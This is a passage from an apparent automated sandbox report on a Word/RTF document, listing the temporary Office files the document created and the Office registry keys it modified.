  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA504.tmp\\View.thmx",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\cab930F.tmp",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA505.tmp\\VaryingWidthList.glox",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E29.tmp",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA506.tmp\\gb.xsl",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA575.tmp\\Headlines.thmx",
  1092. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA13.tmp",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A7.tmp\\Metropolitan.thmx",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA606.tmp\\Equations.dotx",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6B5.tmp\\turabian.xsl",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA607.tmp\\iso690.xsl",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A5.tmp\\ieee2006officeonline.xsl",
  1098. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5C7.tmp\\APASixthEditionOfficeOnline.xsl",
  1099. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA772.tmp\\Droplet.thmx",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E3A.tmp",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9232.tmp",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA628.tmp\\Mesh.thmx",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AD3.tmp",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAADF.tmp",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEA.tmp",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABBA.tmp",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\cab96B1.tmp",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAC48.tmp",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F78.tmp",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AD4.tmp",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB5.tmp",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B37.tmp",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5A6.tmp\\Insight design set.dotx",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B36.tmp",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AE5.tmp",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA194.tmp",
  1117. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9BEE.tmp",
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABBA.tmp\\Berlin.thmx",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92CF.tmp",
  1120. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAC48.tmp\\Feathered.thmx",
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAADF.tmp\\Damask.thmx",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94F5.tmp",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA13.tmp\\Main_Event.thmx",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AFF.tmp",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9C5D.tmp",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9CDB.tmp",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_b54f6f81c118db266fa3d82ca27a9312.asd",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D5.tmp",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D6.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB555.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB556.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D6.tmp\\BracketList.glox",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB534.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4D5.tmp\\Basis.thmx",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB602.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB555.tmp\\Quotable.thmx",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB623.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8C65.tmp",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB633.tmp",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB635.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB657.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB634.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB646.tmp",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB658.tmp",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB534.tmp\\Dividend.thmx",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB556.tmp\\mlaseventheditionofficeonline.xsl",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA7.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB733.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB734.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94E5.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB86E.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B39.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB623.tmp\\Crop.thmx",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB602.tmp\\RadialPictureList.glox",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9147.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB646.tmp\\rings.glox",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB634.tmp\\Wood_Type.thmx",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB657.tmp\\Circuit.thmx",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB635.tmp\\Frame.thmx",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB658.tmp\\architecture.glox",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB633.tmp\\Slate.thmx",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB86E.tmp\\Badge.thmx",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB734.tmp\\pictureorgchart.glox",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9760.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB733.tmp\\chevronaccent.glox",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC0A.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC09.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB6.tmp",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E4B.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\cab96A0.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCC6.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9730.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9554.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EDA.tmp",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA8.tmp",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E28.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9ABF.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D65.tmp",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC09.tmp\\iso690nmerical.xsl",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC0A.tmp\\Savon.thmx",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBCC6.tmp\\Vapor_Trail.thmx",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8D.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B24.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E09.tmp",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp",
  1188. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSCACB683A-EAAE-4BC7-BA1C-833C50977D14.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_b54f6f81c118db266fa3d82ca27a9312.doc"
  1190.  
  1191.  
  1192. * Modified Registry Keys:
  1193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\7o:",
  1194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10F5394",
  1204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10F5394\\10F5394",
  1205. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
